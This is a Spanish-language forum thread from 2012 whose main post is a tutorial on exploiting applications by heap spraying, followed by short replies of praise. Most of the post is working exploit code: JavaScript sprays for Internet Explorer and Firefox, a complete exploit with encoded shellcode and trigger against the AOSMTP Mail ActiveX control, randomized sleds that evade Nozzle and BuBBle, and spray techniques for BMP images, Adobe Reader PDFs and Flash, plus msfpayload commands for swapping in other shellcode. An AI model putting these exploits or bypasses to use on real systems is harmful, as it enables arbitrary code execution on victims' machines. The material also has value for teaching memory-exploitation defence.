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Autor Tema: Tutorial - Explotando aplicaciones con Heap Spraying  (Leído 20,918 veces)
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Tutorial - Explotando aplicaciones con Heap Spraying
« en: 6 Marzo 2012, 14:23 pm »

EXPLOTANDO APLICACIONES CON HEAP SPRAYING




INTRODUCCIÓN
===========


En este tutorial voy a explicar cómo aprovecharnos de un bug en una aplicación cualquiera, explotándola aplicando la técnica heap spraying con la que conseguiremos ejecutar código arbitrario a nuestro antojo. Todo este artículo está muy resumido y basado en el tutorial de corelanc0d3r que dejo al final. Algunos de los códigos tienen pequeñas modificaciones.

 Para seguir este tutorial necesitaremos:




EXPLICACIÓN
==========


A cada hilo de una aplicación se le asigna una pequeña parte de pila, la parte estática que es la que hemos visto en los clásicos buffer overflows y la parte dinámica llamada heap que se usa en tiempo de ejecución, el propio programa puede pedir que se le asigne más espacio por ejemplo con la función VirtualAlloc(); que esta a su vez llamará a ntdll.dll para ejecutar el procedimiento. La gestión de la memoria dinámica heap también guarda en cache la memoria que se va liberando y así ese espacio se puede reasignar nuevamente a un nuevo espacio del mismo tamaño evitando así la fragmentación. Ahora, ¿En qué consiste el heap spraying? El heap spraying no es ninguna vulnerabilidad si no una técnica para explotarla, que consiste en rociar la pila con bloques de nops + shellcode repetidamente, así pues cuando obtenemos el control de eip y ponemos un puntero que apunte a esa parte predecible, es fácil caer a una zona donde se encuentre un trampolín de nops que nos lleve a la shellcode : )

 




APLICACIÓN
=========


Vamos a ver cómo hacer esto en los navegadores web, adobe pdf, adobe flash y no se queda simplente ahí … Para alojar bloques de código en la pila podemos usar arrays (la forma más sencilla) vamos a empezar con ie7 para ver el ejemplo más simple. Cogemos el siguiente código y lo abrimos con el navegador.



Código
  1. var shellcode = unescape('%u4141%u4141');
  2. var bigblock = unescape('%u9090%u9090');
  3. var headersize = 20;
  4. var slackspace = headersize + shellcode.length;
  5. while (bigblock.length < slackspace) bigblock += bigblock;
  6. var fillblock = bigblock.substring(0,slackspace);
  7. var block = bigblock.substring(0,bigblock.length - slackspace);
  8. while (block.length + slackspace < 0x40000) block = block + block + fillblock;
  9. var memory = new Array();
  10. for (i = 0; i < 500; i++){ memory[i] = block + shellcode }
  11. </html>
  12.  


Cabe observar que al usar la función unescape(); está asignando un tamaño del doble de caracteres pero en tamaño real es la mitad (puedes usar un document.write(); para observarlo), por eso lo reducimos correctamente con esta línea  de código:

Código
  1. var block = bigblock.substring(0,bigblock.length - slackspace);

Abrimos windbg y atajamos (Attach) el proceso iexplorer.exe, después escribimos el comando !heap –stat –h 00150000 (windows xp/sp3). Y vemos:





El bloque donde se asignó esta relleno al 99% : )

Vemos todas las asignaciones con el siguiente comando !heap -flt s 0x7ffe0
 


Podemos buscar la cadena AAAA con el comando: s -a 0x00000000 L?0x7fffffff "AAAA" y de ahí deducimos:



Vemos como esta al final de los nops y empieza otro nuevo bloque.

Observamos todas las direcciones predecibles:

0x06060606, 0x07070707, 0x08080808, 0x09090909, 0x0a0a0a0a, 0x0b0b0b0b, 0x0c0c0c0c..



¿Se intuye la jugada verdad? Bien, vamos a explotar un bug en un ActiveX de la  aplicación vulnerable AOSMTP Mail, lo instaláis y después cogemos el siguiente código:

Código
  1. <!— Indicamos usar el ActiveX AOSMTP Mail -->
  2. <object classid='clsid:F8D07B72-B4B4-46A0-ACC0-C771D4614B82' id='target'></object>
  3. <script language='javascript' src="heapLib.js"></script>
  4. <script language='javascript'>
  5.  
  6. var heap = new heapLib.ie(0x10000);
  7.  
  8. // win32_exec - CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com
  9. var code = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
  10.                    "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +
  11.                    "%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" +
  12.                    "%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" +
  13.                    "%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" +
  14.                    "%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" +
  15.                    "%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" +
  16.                    "%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" +
  17.                    "%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" +
  18.                    "%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" +
  19.                    "%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" +
  20.                    "%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" +
  21.                    "%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" +
  22.                    "%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" +
  23.                    "%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" +
  24.                    "%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" +
  25.                    "%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" +
  26.                    "%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" +
  27.                    "%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" +
  28.                    "%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" +
  29.                    "%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" +
  30.                    "%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" +
  31.                    "%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" +
  32.                    "%u314e%u7475%u7038%u7765%u4370");
  33.  
  34. // creamos un bloque de nops
  35. var nops = unescape('%u9090%u9090');
  36. while (nops.length < 0x800) nops += nops;
  37.  
  38. // le añadimos la shellcode al bloque
  39. var shellcode =  nops.substring(0, 0x800 - code.length) + code;
  40.  
  41. // creamos un bloque grande con el mismo bloque repetido
  42. while (shellcode.length < 0x40000) shellcode += shellcode;
  43.  
  44. // dejamos sitio a la cabecera
  45. var block = shellcode.substring(2, 0x40000 - 0x21);
  46.  
  47. // heap spray
  48. for (var i=0; i < 500; i++) {
  49. heap.alloc(block);
  50. }
  51.  
  52. // rellenamos el stack
  53. var payload = "";
  54. while(payload.length < 300) payload += "\x0a";
  55.  
  56. // trigger
  57. target.AddAttachments(payload);
  58.  
  59. </html>
  60.  


Notas:

1.   Para utilizar una shellcode al gusto usamos backtrack y ejecutamos por ejemplo: ./msfpayload windows/exec cmd=calc R | ./msfencode -e x86/shikata_ga_nai -t js_le  




Para listar las shellcodes ./msfpayload -l

2.   Utilizar la siguiente tabla para alinear:

OS & BrowserBlock syntax
XP SP3 – IE7block = shellcode.substring(2,0×10000-0×21);
XP SP3 – IE8block = shellcode.substring(2, 0×40000-0×21);
Vista SP2 – IE7block = shellcode.substring(0, (0×40000-6)/2);
Vista SP2 – IE8block = shellcode.substring(0, (0×40000-6)/2);
Win7 – IE8block = shellcode.substring(0, (0×80000-6)/2);
   

3.   Hay que testear varias veces con todos los posibles aterrizajes para escoger el mejor salto (0x06060606, 0x0a0a0a0a, 0x0c0c0c0c..)


Lo abrimos con ie7 y voilá  ;)



IE8

A partir de aquí haremos uso de la librería heapLib.js obligatoriamente (en ie7 no era necesario) que es usada para liberar el heap y que quede todo el espacio libre seguido. Usamos el siguiente código:

Código
  1. <script language='javascript' src="heapLib.js"></script>
  2. <script language='javascript'>
  3.  
  4. var heap = new heapLib.ie(0x10000);
  5.  
  6. // AAAAs
  7. var code = unescape("%u4141%u4141");
  8.  
  9. // creamos un bloque de nops
  10. var nops = unescape('%u9090%u9090');
  11.  
  12. while (nops.length < 0x1000) nops += nops;
  13.  
  14. // le añadimos la shellcode al bloque
  15. var shellcode =  nops.substring(0, 0x1000 - code.length) + code;
  16.  
  17. // creamos un bloque grande con el mismo bloque repetido
  18. while (shellcode.length < 0x40000) shellcode += shellcode;
  19.  
  20. // dejamos sitio a la cabecera
  21. var block = shellcode.substring(2, 0x40000 - 0x21);
  22.  
  23. // heap spray
  24. for (var i=0; i < 500; i++) {
  25. heap.alloc(block);
  26. }
  27. </script> </html>
  28.  


Observamos con windbg la pila..





También !heap –stat –h 00150000




!heap -flt s 0x7ffc0 …





Buscamos la cadena de “AAAA”s con el comando: s -a 0x00000000 L?0x7fffffff "AAAA"





IE9

Bueno aquí la cosa se complica un poco, ya que ie9 trae incorporada la protección DEP que me falta escribir el artículo sobre este tema, pero si vamos a ver “pequeñas protecciones” que también trae y como saltarlas . Trabajaremos con windows/vista sp2 para ie9.



Nozzle & BuBBle

Nozzle consiste en una pequeña heurística para detectar instrucciones validas en la pila, por ejemplo el uso de nops, el carácter 0x90 (Microsoft).

BuBBle consiste en detectar bloques iguales en la pila, nops + shellcode, nops + shellcode, etc.. (Firefox).

Nos las saltaremos haciendo de trineo una cadena de caracteres aleatoriamente en cada bloque que nos harán resbalar también hasta la shellcode : ). Usamos el siguiente código.


Código
  1. <!— Indicamos usar el ActiveX AOSMTP Mail -->
  2. <object classid='clsid:F8D07B72-B4B4-46A0-ACC0-C771D4614B82' id='target'></object>
  3. <script language='javascript' src="heapLib.js"></script>
  4. <script language='javascript'>
  5.  
  6. function randomblock(blocksize)
  7. {
  8. var theblock = "";
  9. for (var i = 0; i < blocksize; i++)
  10. {
  11. theblock += Math.floor(Math.random()*13)+47;
  12. }
  13. return theblock;
  14. }
  15.  
  16. function tounescape(block)
  17. {
  18. var blocklen = block.length;
  19. var unescapestr = "";
  20. for (var i = 0; i < blocklen-1; i=i+4)
  21. {
  22. unescapestr += "%u" + block.substring(i,i+4);
  23. }
  24. return unescapestr;
  25. }
  26.  
  27. var heap = new heapLib.ie(0x10000);
  28.  
  29. // AAAAs
  30. var code = unescape("%u4141%u4141");
  31.  
  32. for (var i=0; i < 500; i++) {  
  33. // creamos un bloque de nops
  34. var padding = unescape(tounescape(randomblock(0x100)));
  35. while (padding.length < 0x800) padding += padding;
  36.  
  37. // le añadimos la shellcode al bloque
  38. var shellcode =  padding.substring(0, 0x800 - code.length) + code;
  39.  
  40. // creamos un bloque grande con el mismo bloque repetido
  41. while (shellcode.length < 0x20000) shellcode += shellcode;
  42.  
  43. // dejamos sitio a la cabecera
  44. var block = shellcode.substring(0, (0x40000 - 6)/2);
  45.  
  46. heap.alloc(block);
  47. }
  48.  
  49.  
  50. // rellenamos el stack
  51. var payload = "";
  52. while(payload.length < 300) payload += "\x0a";
  53.  
  54. // trigger
  55. target.AddAttachments(payload);
  56.  
  57.  

Nota: Hay que hacer uso del ActiveX.

Buscamos la shellcode con el comando d (dump).




Vemos que esta relleno de caracteres que actuarán de nops para llegar a la shellcode y las 4 As.


FIREFOX 9.0.1


Lo mismo, cogemos el siguiente código (windows/xp sp3):

Código
  1. <script language='javascript'>
  2. function randomblock(blocksize)
  3. {
  4. var theblock = "";
  5. for (var i = 0; i < blocksize; i++)
  6. {
  7. theblock += Math.floor(Math.random()*13)+47;
  8. }
  9. return theblock.toString();
  10. }
  11.  
  12. function tounescape(block)
  13. {
  14. var blocklen = block.length;
  15. var unescapestr = "";
  16. for (var i = 0; i < blocklen-1; i=i+4)
  17. {
  18. unescapestr += "%u" + block.substring(i,i+4);
  19. }
  20. return unescapestr;
  21. }
  22. // AAAAs
  23. var code = unescape("%u4141%u4141");
  24.  
  25. for (var i=0; i < 500; i++) {
  26.  
  27. // creamos un bloque
  28. var randomstring = "";
  29. for(var j=0; j < 4; j++){
  30. randomstring += randomblock(0x100);
  31. }
  32. var padding = unescape(tounescape(randomstring));
  33. while (padding.length < 0x800) padding += padding;
  34.  
  35. // le añadimos la shellcode al bloque
  36. var shellcode =  padding.substring(0, 0x800 - code.length) + code;
  37.  
  38. // creamos un bloque grande con el mismo bloque repetido
  39. while (shellcode.length < 0x20000) shellcode += shellcode;
  40.  
  41. // dejamos sitio a la cabecera
  42. var block = shellcode.substring(0, (0x40000 - 6)/2);
  43.  
  44. // spray
  45. varname = "var" + randomstring;
  46. thisvarname = "var " + varname + "= '" + block +"';";
  47. eval(thisvarname);
  48. }
  49. </html>
  50.  


Buscamos la shellcode con s -a 0x00000000 L?0x7fffffff "AAAA" y después deducimos..




Vemos las direcciones predecibles…




HEAP SPRAYING CON IMÁGENES



Esta técnica también se puede realizar con imágenes, publicada por Greg MacManus y Michael Sutton en el 2006 fue retomada por Moshe Ben Abu en el 2010 en la presentación de OSWAP. Vamos a backtrack con el siguiente código:

Código
  1. # written by Moshe Ben Abu (Trancer) of www.rec-sec.com
  2.  
  3. bmp_width = ARGV[0].to_i
  4. bmp_height = ARGV[1].to_i
  5. bmp_files_togen = ARGV[2].to_i
  6.  
  7. if (ARGV[0] == nil)
  8. bmp_width = 1024
  9. end
  10.  
  11. if (ARGV[1] == nil)
  12. bmp_height = 768
  13. end
  14.  
  15. if (ARGV[2] == nil)
  16. bmp_files_togen = 128
  17. end
  18.  
  19. # size of bitmap file calculation
  20. bmp_header_size = 54
  21. bmp_raw_offset = 40
  22. bits_per_pixel = 24
  23. bmp_row_size = 4 * ((bits_per_pixel.to_f * bmp_width.to_f) / 32)
  24. bmp_file_size = 54 + (4 * ( bits_per_pixel ** 2 ) ) + ( bmp_row_size * bmp_height )
  25.  
  26. bmp_file = "\x00" * bmp_file_size
  27. bmp_header = "\x00" * bmp_header_size
  28. bmp_raw_size = bmp_file_size - bmp_header_size
  29.  
  30. # generate bitmap file header
  31. bmp_header[0,2] = "\x42\x4D" # "BM"
  32. bmp_header[2,4] = [bmp_file_size].pack('V') # size of bitmap file
  33. bmp_header[10,4] = [bmp_header_size].pack('V') # size of bitmap header (54 bytes)
  34. bmp_header[14,4] = [bmp_raw_offset].pack('V') # number of bytes in the bitmap header from here
  35. bmp_header[18,4] = [bmp_width].pack('V') # width of the bitmap (pixels)
  36. bmp_header[22,4] = [bmp_height].pack('V') # height of the bitmap (pixels)
  37. bmp_header[26,2] = "\x01\x00" # number of color planes (1 plane)
  38. bmp_header[28,2] = "\x18\x00" # number of bits (24 bits)
  39. bmp_header[34,4] = [bmp_raw_size].pack('V') # size of raw bitmap data
  40.  
  41. bmp_file[0,bmp_header.length] = bmp_header
  42.  
  43. bmp_file[bmp_header.length,bmp_raw_size] = "\x0C" * bmp_raw_size
  44.  
  45. for i in 1..bmp_files_togen do
  46. bmp = File.new(i.to_s+".bmp","wb")
  47. bmp.write(bmp_file)
  48. bmp.close
  49. end
  50.  


y creamos la imagen.




Creamos un .html con el código:

Código
  1. <img src='1.bmp'>
  2. </body>
  3. </html>
  4.  

Lo abrimos con ie7 en windows/xp sp3 y buscamos la cadena: s -b 0x00000000 L?0x7fffffff 00 00 00 00 0c 0c 0c 0c





Claro que para que un buen heap spraying harían falta añadir más imágenes, pero la idea era que se supiera.



HEAP SPRAYING EN ADOBE READER



Con los pdf también es posible aplicar esta técnica : ) y en este ámbito adobe reader es conocido por su poca preocupación en las vulnerabilidades de sus aplicaciones, para aplicarla solo hace falta añadir un código javascript al archivo, nos bajamos make-pdf tools escrito en python de Didier Steven de aquí http://blog.didierstevens.com/programs/pdf-tools/ y con el siguiente código que os muestro lo guardamos como adobe_spray.txt


Código
  1. shellcode = unescape('%u4141%u4141');
  2. nops = unescape('%u9090%u9090');
  3. headersize = 20;
  4.  
  5. // create one block with nops
  6. slackspace = headersize + shellcode.length;
  7. while(nops.length < slackspace) nops += nops;
  8. fillblock= nops.substring(0, slackspace);
  9.  
  10. // enlarge block with nops, size 0x50000
  11. block= nops.substring(0, nops.length - slackspace);
  12. while(block.length+slackspace < 0x50000) block= block+ block+ fillblock;
  13.  
  14. // spray 200 times : nops + shellcode
  15. memory=new Array();
  16. for( counter=0; counter<250; counter++) memory[counter]= block + shellcode;
  17.  


De seguido creamos el pdf con el código añadido, desde la misma carpeta donde se encuentren los archivos: python make-pdf-javascript.py -f adobe_spray.txt test.pdf  (doy por hecho que está python instalado) se creará test.pdf que lo abrimos con la versión 9.x }:-)





Dump a 0x0a0a0a0a (windows 7).





ADOBE FLASH ACTION SCRIPT




ActionScript es el lenguaje usado para adobe flash, también es posible utilizar la técnica en la aplicación y es más, todo programa que acepte un objeto flash puede ser víctima de heap spraying, ya sea de MS Office, etc.. no se os ponen los dientes largos? Jeje.


Vamos a bajarnos haxe para compilar el objeto flash de aquí http://haxe.org/download . Guardamos el siguiente código como MySpray.hx

Código
  1. class MySpray
  2. {
  3. static var Memory = new Array();
  4. static var chunk_size:UInt = 0x100000;
  5. static var chunk_num;
  6. static var nop:Int;
  7. static var tag;
  8. static var shellcode;
  9. static var t;
  10.  
  11. static function main()
  12. {
  13.  tag = flash.Lib.current.loaderInfo.parameters.tag;
  14.  nop = Std.parseInt(flash.Lib.current.loaderInfo.parameters.nop);
  15.  shellcode = flash.Lib.current.loaderInfo.parameters.shellcode;
  16.  chunk_num = Std.parseInt(flash.Lib.current.loaderInfo.parameters.N);
  17.  t = new haxe.Timer(7);
  18.  t.run = doSpray;
  19. }
  20.  
  21. static function doSpray()
  22. {
  23.  var chunk = new flash.utils.ByteArray();
  24.  chunk.writeMultiByte(tag, 'us-ascii');
  25.  while(chunk.length < chunk_size)
  26.   {
  27.      chunk.writeByte(nop);
  28.   }
  29.   chunk.writeMultiByte(shellcode,'utf-7');
  30.  
  31.   for(i in 0...chunk_num)
  32.   {
  33.     Memory.push(chunk);
  34.   }
  35.  
  36.   chunk_num--;
  37.   if(chunk_num == 0)
  38.   {
  39.     t.stop();
  40.   }
  41. }
  42. }
  43.  


Este script recibe 4 argumentos:

  • tag: la etiqueta para poner al frente del trineo nop (para que podamos   encontrar con mayor facilidad)
  • nop: el byte de usar como nop (valor decimal)
  • shellcode: la shellcode
  • N: el número de veces para pulverizar

Lo compilamos desde la carpeta de instalación:

C:\Program Files\Motion-Twin\haxe\haxe.exe -main MySpray -swf9 MySpray.swf


Invocamos el objeto desde un html (MySpray.html):


Código
  1.  
  2. <OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
  3. codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"
  4. WIDTH="320" HEIGHT="240" id="MySpray" ALIGN="">
  5. <PARAM NAME=movie VALUE="MySpray.swf">
  6. <PARAM NAME=quality VALUE=high>
  7. <PARAM NAME=bgcolor VALUE=#333399>
  8. <PARAM NAME=FlashVars VALUE="N=600&nop=144&tag=CORELAN&shellcode=AAAABBBBCCCCDDDD">
  9. <EMBED src="MySpray.swf" quality=high bgcolor=#333399 WIDTH="320" HEIGHT="240" NAME="MySpray"
  10. FlashVars="N=600&nop=144&tag=CORELAN&shellcode=AAAABBBBCCCCDDDD"
  11. ALIGN="" TYPE="application/x-shockwave-flash" PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer">
  12.  
  13. </body>
  14. </html>
  15.  

Observa que el carácter nop es 144 (0x90 en decimal). Cargamos el archivo con ie7 (windows/xp sp3).





En windbg: s -a 0x00000000 L?0x7fffffff “CORELAN”





Seguro que le sacáis provecho ;).


APENDICE


Esta técnica se aprovecha explotando alguna vulnerabilidad de las aplicaciones, ¿Cómo buscarlas? Bueno pues las aplicaciones hacen uso de sus propios procedimientos, en .ocx, .dll, etc.. Cuando instalas un programa en su carpeta puede venir una guía documentada con las funciones que utiliza, ahí puedes empezar a testearlo usándolas con mala intención en el script para ver si se cierra la aplicación repentinamente y ya tenemos un trigger, también puedes usar comRaider para ver las funciones.


DESPEDIDA

Aquí termina todo, hasta la próxima ;)

Tutorial basado de la página de corelanc0d3r:

https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/


soez



Descarga en pdf: https://mega.co.nz/#!44xymZwT!N_KbKmXlN0H1s9EG-HUJZ0JCsJwGoehcl6y4D4ovCN8
« Última modificación: 20 Mayo 2014, 23:20 pm por soez » En línea

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jackgris

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Re: Tutorial - Explotando aplicaciones con Heap Spraying
« Respuesta #1 en: 10 Marzo 2012, 16:54 pm »

Te quedo muy bien el tutorial soez
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cymothoa

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Re: Tutorial - Explotando aplicaciones con Heap Spraying
« Respuesta #2 en: 31 Octubre 2012, 19:23 pm »

UN DESASTRE
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soez

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Re: Tutorial - Explotando aplicaciones con Heap Spraying
« Respuesta #3 en: 15 Noviembre 2012, 05:25 am »

?
« Última modificación: 15 Noviembre 2012, 06:38 am por soez » En línea

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Debci
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Re: Tutorial - Explotando aplicaciones con Heap Spraying
« Respuesta #4 en: 6 Diciembre 2012, 09:55 am »

Excelente tutorial... se me han puesto los dientes largos :P

Saludos
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Re: Tutorial - Explotando aplicaciones con Heap Spraying
« Respuesta #5 en: 6 Diciembre 2012, 12:23 pm »

Tengo ganas de probarlo, lástima que tengo trabajo. Si tengo un rato lo probaré.
Buen aporte.
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berz3k
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Re: Tutorial - Explotando aplicaciones con Heap Spraying
« Respuesta #6 en: 7 Diciembre 2012, 04:31 am »

Es buen tuto, saque el provecho maximo

-berz3k
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soez

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Re: Tutorial - Explotando aplicaciones con Heap Spraying
« Respuesta #7 en: 7 Diciembre 2012, 23:27 pm »

Gracias  :)
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jackgris

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Re: Tutorial - Explotando aplicaciones con Heap Spraying
« Respuesta #8 en: 2 Septiembre 2013, 14:18 pm »

oye enseñenme si por faor no ea malos con migo he pedido ayuda por todos la dos y nada ayudenme porfavor soy mujer pero igual de estudioso a ustdes

Que quieres que te enseñen? Deberías ser específica con lo que no sabes ;)
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Stuxnet

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Re: Tutorial - Explotando aplicaciones con Heap Spraying
« Respuesta #9 en: 3 Septiembre 2013, 05:45 am »

Excelente tutorial soez te felicito  ;-)

Saludos.
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